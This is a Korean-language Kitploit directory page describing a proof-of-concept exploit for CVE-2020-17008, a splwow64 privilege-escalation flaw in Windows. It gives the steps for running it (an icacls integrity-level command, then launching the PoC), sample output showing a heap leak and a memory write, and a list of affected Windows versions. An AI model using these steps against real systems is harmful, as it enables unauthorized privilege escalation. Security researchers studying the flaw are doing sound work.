Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2020-17008 — CVE-2020-17008 splWOW64 Elevation of Privilege | Kitploit
도구/GitHubGitHub/jas502n/cve-2020-17008
Privilege EscalationVulnerability AnalysisExploitationBinary Exploitation
GitHubjas502n/cve-2020-17008

CVE-2020-17008

CVE-2020-17008 splWOW64 Elevation of Privilege

저장소 보기
4675년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2020-17008 splWOW64 권한 상승

C:\Windows\splwow64.exe

Poc From:

https://bugs.chromium.org/p/project-zero/issues/detail?id=2096

0x01 splwow64_poc.exe를 Low로 설정

cd splwow64_poc\x64\Release

icacls splwow64_poc.exe /setintegritylevel L

root@kitploit:~
 /setintegritylevel [(CI)(OI)]级别将完整性 ACE 显式
        添加到所有匹配文件。要指定的级别为以下级别
        之一:
             L[ow]
             M[edium]
             H[igh]
        完整性 ACE 的继承选项可以优先于级别，但只应用于
        目录。

0x02 splwow64_poc.exe 실행

root@kitploit:~
splwow64_poc\x64\Release>splwow64_poc.exe

Start
ntdll = 0x7FF837980000
Init done
C:\Users\pwned\Desktop\splwow64_poc\x64\Release
C:\Users\pwned\Desktop\splwow64_poc\x64\Release\CreateDC.exe
Now's the time to hook up the debugger to splwow64.exe if you want to. Press [Enter] to continue . . .
Get port name
name: \RPC Control\UmpdProxy_2_bea57_0_2000
Create port.
Prepare 0x6A Message - OpenPrinter
PtrMsgReply: 0x0000000000AB0140
ClientView: 0x0000027F390B0000/0x0000000000AB0000, 0x0000027F390B0100: Microsoft XPS Document Writer
Writing message 0x6A success!
Cookie: 0x0
Preparing 0x6D message (to leak heap address) - DocumentEvent
Output: 0x0000000000000000, Heap Address: 0xFFFFFFFFFFFFFFC0
Preparing 0x6D message (write to 0x41414141) - DocumentEvent
Done

영향 버전

root@kitploit:~
Windows 10 버전 1607 (x64 기반 시스템용)
Windows 10 버전 1607 (32비트 시스템용)
Windows 10 (x64 기반 시스템용)
Windows 10 (32비트 시스템용)
Windows 10 버전 1709 (ARM64 기반 시스템용)
Windows 10 버전 1709 (x64 기반 시스템용)
Windows 10 버전 1709 (32비트 시스템용)
Windows 10 버전 1809 (ARM64 기반 시스템용)
Windows 10 버전 1809 (x64 기반 시스템용)
Windows 10 버전 1809 (32비트 시스템용)

Windows Server 버전 1803 (서버 코어 설치)
Windows 10 버전 1803 (ARM64 기반 시스템용)
Windows 10 버전 1803 (x64 기반 시스템용)
Windows 10 버전 1803 (32비트 시스템용)

Windows Server 버전 1903 (서버 코어 설치)
Windows 10 버전 1903 (ARM64 기반 시스템용)
Windows 10 버전 1903 (x64 기반 시스템용)
Windows 10 버전 1903 (32비트 시스템용)

Windows Server 버전 1909 (서버 코어 설치)
Windows 10 버전 1909 (ARM64 기반 시스템용)
Windows 10 버전 1909 (x64 기반 시스템용)
Windows 10 버전 1909 (32비트 시스템용)

Windows Server 버전 2004 (서버 코어 설치)
Windows 10 버전 2004 (x64 기반 시스템용)
Windows 10 버전 2004 (ARM64 기반 시스템용)
Windows 10 버전 2004 (32비트 시스템용)

Windows Server 2016 (서버 코어 설치)
Windows Server 2016

Windows Server 2019 (서버 코어 설치)
Windows Server 2019

Windows Server 2012
Windows Server 2012 R2 (서버 코어 설치)
Windows Server 2012 R2
Windows Server 2012 (서버 코어 설치)

Windows RT 8.1
Windows 8.1 (x64 기반 시스템용)
Windows 8.1 (32비트 시스템용)
도구 다운로드